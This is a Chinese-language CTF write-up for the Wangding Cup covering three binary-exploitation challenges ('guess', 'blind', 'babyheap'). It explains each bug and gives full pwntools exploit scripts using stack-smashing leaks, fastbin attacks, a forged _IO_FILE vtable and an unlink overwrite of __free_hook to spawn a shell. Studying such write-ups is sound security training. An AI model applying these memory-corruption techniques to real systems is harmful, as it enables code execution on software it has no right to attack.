网鼎杯第一场wp
-
guess
防护机制:
开启了canary和NX
简单的看了下反编译的逻辑
HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
if ( HIDWORD(stat_loc.__iptr) == -1 )
{
perror("./flag.txt");
_exit(-1);
}
read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
close(SHIDWORD(stat_loc.__iptr));
puts("This is GUESS FLAG CHALLENGE!");
发现它将flag读取到栈上了,结合它开的防护机制NX,可以想到smash the stack这种攻击手法,利用 __stack_chk_fail 来打印想要的信息,因为flag在栈上,所以要先泄露出栈的地址,然后将argv[0]覆盖成flag的地址,通过触发 _stack_chk_fail来将flag打印出来。栈的地址可以通过libc中的一个变量 _environ变量泄露出来。因为在libc中的全局变量 environ储存着该程序环境变量的地址,而环境变量是储存在栈上的,所以可以泄露栈地址,进而计算出flag在栈上的地址。
while ( 1 )
{
if ( v6 >= v7 )
{
puts("you have no sense... bye :-) ");
return 0LL;
}
v5 = sub_400A11();
if ( !v5 )
break;
++v6;
wait((__WAIT_STATUS)&stat_loc);
}
puts("Please type your guessing flag");
gets(&s2);
if ( !strcmp(&buf, &s2) )
puts("You must have great six sense!!!! :-o ");
else
puts("You should take more effort to get six sence, and one more challenge!!");
return 0LL;
可以发现程序只能输入三次,并且这里有gets函数,存在栈溢出,所以可以触发 _stack_chk_fail。因为只能输入三次,所有要构造好输入
思路:
- 先泄露libc地址
- 通过libc中的 __enviorn 变量泄露出栈地址
- 利用 _stack_chk_fail 打印出flag
几个地址:
argv[0] = 0x7fffffffde88
buf_add = 0x7fffffffdd60
flag = 0x7fffffffdd30
offset = 0x128
flag_offset = 0x158
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import*
context.log_level = 'debug'
p = remote('106.75.90.160',9999)
elf = ELF('./GUESS')
log.info('leak libc')
p.recv()
payload = 'a'*0x128
payload += p64(0x602048)
p.sendline(payload)
p.recvuntil('detected ***: ')
leak = u64(p.recv(6)+ '\x00'*2)
print hex(leak)
libc = leak - 0x20740
env_addr = libc + 0x3c6f38
print "env _add -->[%s]"%hex(env_addr)
log.info('leak stack address')
payload1 = 'a'*0x128 + p64(env_addr)
p.recvuntil('r guessing flag')
p.sendline(payload1)
p.recvuntil('detected ***: ')
leak_stack = u64(p.recv(6)+ '\x00'*2)
print "stack --> address[%s]"%hex(leak_stack)
log.info('show the flag')
stack_add = leak_stack
payload2 = 'a'*0x128 + p64(stack_add - 0x168)
p.recv()
p.sendline(payload2)
p.recv()
p.interactive()
-
blind
防护机制:
开启了Full RELRO,Canary和NX,所以改got表的操作就不可行了
简单分析下程序的逻辑
程序一共有三个功能:
- new 分配一个大小为0x68的chunk,并读入content
- change 编辑chunk的内容
- release 将chunk free 掉,但没清空指针,这里存在uaf漏洞,同时这个操作只能做三次
同时程序存在system函数
同时分配的chunk的地址都存储在bss段的一个数组中
因为不可以修改got表,同时没有可以泄露地址的地方,所以改malloc hook那些操作也做不了。
但是它又存在system函数,在bss段上存在 stdin,stderr,stdout等_IO_FILE结构体的指针,
所以想到的是修改文件流的指针,使其指向伪造的IO_FILE结构体来getshell。
因为程序存在uaf漏洞,所以可以通过fastbins attck 分配到包含全局变量数组的chunk,就可以实现任意地址读写。
大致思路是:
1. 利用fastbins attack控制全局变量数组
2. 向bss段写入伪造的_IO_FILE_plus 结构体 以及 vtable数组
3. 修改stdout指针指向伪造的_IO_FILE_plus结构体
-
fastbins attack 控制 ptr数组
new(0,'a\n') new(1,'b\n') delete(0) change(0,p64(0x60203d)+'\n') payload = 'a'*0x13 + p64(0x602020)+p64(0x602090)+ p64(0x602090+0x68)+ p64(0x602090+0x68*2) + p64(0x602090+0x68*3)+'\n' new(2,'a\n') new(3,payload)
-
伪造 stdout结构体
gef➤ p *(struct _IO_FILE_plus *) stdout $2 = { file = { _flags = 0xfbad2887, _IO_read_ptr = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_read_end = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_read_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_write_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_write_ptr = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_write_end = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_buf_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_buf_end = 0x7f5b6742a6a4 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7f5b674298e0 <_IO_2_1_stdin_>, _fileno = 0x1, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "\n", _lock = 0x7f5b6742b780 <_IO_stdfile_1_lock>, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7f5b674297a0 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0xffffffff, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7f5b674286e0 <_IO_file_jumps> }
伪造的IO_FILE_plus结构体中的flags要满足下面的条件
flag&8 = 0 and flag &2 =0 and flag & 0x8000 != 0 所以flag的值可以为0xfbad8000 或者0xfbad8080
其他的根据原本的结构体伪造就行了
fake_struct = p64(0x00000000fbad8000) + p64(0x602060)*7 + p64(0x602061) + p64(0)*4 fake_struct += p64(0x602060) + p64(0x1) + p64(0xffffffffffffffff)+ p64(0) fake_struct += p64(0x602060) + p64(0xffffffffffffffff) + p64(0) + p64(0x602060) fake_struct += p64(0)*3 + p64(0x00000000ffffffff) + p64(0) fake_struct += p64(0)+ p64(0x602090 + 0x68*3) fake_vtable = p64(system_addr)*10 + '\n'
伪造后的结构体
gef➤ p *(struct _IO_FILE_plus *)0x602090 $1 = { file = { _flags = 0xfbad8000, _IO_read_ptr = 0x602060 " `", _IO_read_end = 0x602060 " `", _IO_read_base = 0x602060 " `", _IO_write_base = 0x602060 " `", _IO_write_ptr = 0x602060 " `", _IO_write_end = 0x602060 " `", _IO_buf_base = 0x602060 " `", _IO_buf_end = 0x602061 " `", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x602060, _fileno = 0x1, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x602060, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x602060, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0xffffffff, _unused2 = '\000' <repeats 19 times> }, vtable = 0x6021c8 }
-
在bss段写入伪造的fake_struct和fake_vtable
change(1,fake_struct[:0x68]) change(2,fake_struct[0x68:0xd0]) change(3,fake_struct[0xd0:]+'\n') change(4,fake_vtable+'\n')
-
修改stdout指针指向伪造的fake_struct
change(0,p64(0x602090)+'\n')
最终成功getshell
完整exp:
from pwn import * context.log_level='debug' #p=remote('106.75.20.44', 9999) p = process('./blind') elf = ELF('./libc.so.6') def new(idx,content): p.sendline('1') p.recvuntil('Index:') p.sendline(str(idx)) p.recvuntil('Content:') p.send(content) p.recvuntil('Choice:') def change(idx,content): p.sendline('2') p.recvuntil('Index:') p.sendline(str(idx)) p.recvuntil('Content:') p.send(content) p.recv() def delete(idx): p.sendline('3') p.recvuntil('Index:') p.sendline(str(idx)) p.recvuntil('Choice:') system_addr = 0x4008E3 new(0,'a\n') new(1,'b\n') delete(0) change(0,p64(0x60203d)+'\n') payload = 'a'*0x13 + p64(0x602020)+p64(0x602090)+ p64(0x602090+0x68)+ p64(0x602090+0x68*2) + p64(0x602090+0x68*3)+'\n' new(2,'a\n') new(3,payload) fake_struct = p64(0x00000000fbad8000) + p64(0x602060)*7 + p64(0x602061) + p64(0)*4 fake_struct += p64(0x602060) + p64(0x1) + p64(0xffffffffffffffff) + p64(0) fake_struct += p64(0x602060) + p64(0xffffffffffffffff) + p64(0) + p64(0x602060) fake_struct += p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 + p64(0x602090 + 0x68*3) fake_vtable = p64(system_addr)*10 change(1,fake_struct[:0x68]) change(2,fake_struct[0x68:0xd0]) change(3,fake_struct[0xd0:]+'\n') change(4,fake_vtable+'\n') change(0,p64(0x602090)+'\n') p.interactive()
下面是比赛时没做出来的
babyheap
防护机制:
防护机制开启了full RELRO,所以修改got表函数的内容就不可行
简单的分析下程序逻辑:
有四个功能:
- alloc:分配一个大小为0x20的chunk,并向里面写入内容
- edit:对chunk进行编辑,总共只能编辑三次
- show: 打印chunk的内容,这里可以进行信息泄露
- free:将chunk free掉,这里没将指针置为0,存在UAF漏洞
大致思路:
这题中有show函数,所以应该要泄露出libc的地址,然后改malloc_hook或者free_hook 来getshell
但是因为限定malloc的大小只能是0x20,所以要先想怎么产生一个unsorted bins中的chunk
这里的思路是利用UAF漏洞 ,进行fastbins attack 分配包括下一个chunk size字段的chunk。
就可以修改下一个chunk的size字段为0xa1,然后free掉这个chunk,这样就可以获得unsorted bins 的chunk了。
再利用show功能就可以泄露出来libc的地址,这里要注意chunk overlap的影响。
因为在bss段存在着存储chunk地址的全局变量数组,所以可以利用unlink来修改free_hook的内容
-
泄露heap地址
alloc(0,'aaaa\n') alloc(1,'bbbb\n') free(1) free(0) show(0) leak_heap = u64(p.recvline().strip('\n').ljust(8,'\x00')) heap_base = leak_heap - 0x30
-
fastbins attack 控制chunk1的size字段
#先要在chunk0上伪造好size字段 alloc(0,p64(0x31)*4) alloc(1,'bbbb\n') alloc(2,'cccc\n') alloc(3,'dddd\n') alloc(4,'eeee\n')#防止free掉的chunk和topchunk合并 fake_chunk = heap_base + 0x20 edit(0,p64(fake_chunk)+'\n') alloc(5,'aaaa\n')#chunk5 alloc(6,p64(0)+p64(0xa1)+'\n')
-
泄露libc地址
free(1) show(1) leak = u64(p.recvline().strip().ljust(8,'\x00')) main_arena = leak - 0x58 libc_base = main_arena - libc.symbols['__malloc_hook'] - 0x10 print "libc base address -->[%s]"%hex(libc_base) free_hook = libc_base + libc.symbols['__free_hook'] print "free_hook -->[%s]"%hex(free_hook) one_gadget = libc_base + 0xf1147 print "one_gadget -->[%s]"%hex(one_gadget)
-
利用unlink修改free_hook为one_gadget
#这里unlink的chunk要在一开始就构造好,在free掉0xa1大小的chunk时就要进行unlink #这里利用的是unlink向前合并,所以要伪造要进行unlink的下下个chunk的prev_size字段以及size字段 #在这里需要检查 next chunk 是否是空闲的(通过下下个 chunk 的flag的最低位去判断),在找下下个chunk(这里的下、包括下下都是相对于大小为0xa1的chunk而言的)的过程中,都是通过当前chunk地址加上size大小找到的 #所以一开始要分配5个chunk alloc(0,p64(0x31)*4) alloc(1,'b'*0x20)#chunk1 size will change -->0xa1 alloc(2,'c'*0x20) alloc(3,p64(0x90)+'\n') alloc(4,p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))#chunk2 alloc(5,p64(0x30)+p64(0x30)+'\n')#chunk5 #在chunk2中伪造要unlink的fake_chunk #在chunk5中伪造prev_size以及size字段 --------------------------------------------------------------------------------------- free(1) edit(4,p64(free_hook)+'\n') edit(1,p64(one_gadget)+'\n')
unlink前堆的布局
gef➤ x/40gx 0x0000000001a1a000 0x1a1a000: 0x0000000000000000 0x0000000000000031 0x1a1a010: 0x0000000001a10061 0x0000000000000000 0x1a1a020: 0x0000000000000031 0x0000000000000031 0x1a1a030: 0x0000000000000000 0x00000000000000a1<--target chunk 0x1a1a040: 0x0000000000000000 0x6262626262626262 0x1a1a050: 0x6262626262626262 0x0062626262626262 0x1a1a060: 0x0000000000000000 0x0000000000000031 0x1a1a070: 0x6363636363636363 0x6363636363636363 0x1a1a080: 0x6363636363636363 0x0063636363636363 0x1a1a090: 0x0000000000000000 0x0000000000000031 0x1a1a0a0: 0x0000000000000090 0x0000000000000000 0x1a1a0b0: 0x0000000000000000 0x0000000000000000 0x1a1a0c0: 0x0000000000000000 0x0000000000000031 0x1a1a0d0: 0x0000000000000000 0x0000000000000031<--unlink chunk 0x1a1a0e0: 0x0000000000602068 0x0000000000602070 0x1a1a0f0: 0x0000000000000000 0x0000000000000031 0x1a1a100: 0x0000000000000030 0x0000000000000030<--fake size 0x1a1a110: 0x0000000000000000 0x0000000000000000 0x1a1a120: 0x0000000000000000 0x0000000000020ee1 0x1a1a130: 0x0000000000000000 0x0000000000000000
unlink后堆的布局
gef➤ x/40gx 0x0000000001a1a000 0x1a1a000: 0x0000000000000000 0x0000000000000031 0x1a1a010: 0x0000000001a10061 0x0000000000000000 0x1a1a020: 0x0000000000000031 0x0000000000000031 0x1a1a030: 0x0000000000000000 0x00000000000000d1<-- 0x1a1a040: 0x00007f68429d7b78 0x00007f68429d7b78 0x1a1a050: 0x6262626262626262 0x0062626262626262 0x1a1a060: 0x0000000000000000 0x0000000000000031 0x1a1a070: 0x6363636363636363 0x6363636363636363 0x1a1a080: 0x6363636363636363 0x0063636363636363 0x1a1a090: 0x0000000000000000 0x0000000000000031 0x1a1a0a0: 0x0000000000000090 0x0000000000000000 0x1a1a0b0: 0x0000000000000000 0x0000000000000000 0x1a1a0c0: 0x0000000000000000 0x0000000000000031 0x1a1a0d0: 0x0000000000000000 0x0000000000000031<-- 0x1a1a0e0: 0x0000000000602068 0x0000000000602070 0x1a1a0f0: 0x0000000000000000 0x0000000000000031 0x1a1a100: 0x00000000000000d0 0x0000000000000030 0x1a1a110: 0x0000000000000000 0x0000000000000000 0x1a1a120: 0x0000000000000000 0x0000000000020ee1 0x1a1a130: 0x0000000000000000 0x0000000000000000
可以看到此时的chunk1在数组存储位置的内容已经被修改为free_hook了,在向chunk1写入就可以修改free_hook的内容了
-
完整exp:
from pwn import* context.log_level = 'debug' def alloc(idx,t): p.recv() p.sendline('1') p.recv() p.sendline(str(idx)) p.recv() p.send(t) def edit(idx,t): p.recv() p.sendline('2') p.recv() p.sendline(str(idx)) p.recv() p.send(t) def free(t): p.recv() p.sendline('4') p.recv() p.sendline(str(t)) def show(idx): p.recv() p.sendline('3') p.recv() p.sendline(str(idx)) #p = remote('106.75.67.115', 9999) p = process('./babyheap') elf = ELF('./babyheap') libc = ELF('./libc.so.6') sleep(5) alloc(0,p64(0x31)*4) alloc(1,'b'*0x20) alloc(2,'c'*0x20) alloc(3,p64(0x90)+'\n') alloc(4,p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10)) alloc(5,p64(0x30)+p64(0x30)+'\n') log.info("******************leak heap base address******************") free(1) free(0) show(0) leak_heap = u64(p.recvline().strip('\n').ljust(8,'\x00')) heap_base = leak_heap - 0x30 print "heap base address-->[%s]"%hex(heap_base) chunk2_add = heap_base+0x20 log.info("******************leak libc adress******************") edit(0,p64(chunk2_add)+'\n') alloc(6,'a\n') alloc(7,p64(0)+p64(0xa1)+'\n') free(1) show(1) leak = u64(p.recvline().strip().ljust(8,'\x00')) main_arena = leak - 0x58 libc_base = main_arena - libc.symbols['__malloc_hook'] - 0x10 print "libc base address -->[%s]"%hex(libc_base) free_hook = libc_base + libc.symbols['__free_hook'] print "free_hook -->[%s]"%hex(free_hook) one_gadget = libc_base + 0xf1147 print "one_gadget -->[%s]"%hex(one_gadget) log.info("******************unlink******************") edit(4,p64(free_hook)+'\n') edit(1,p64(one_gadget)+'\n') free(1) p.interactive()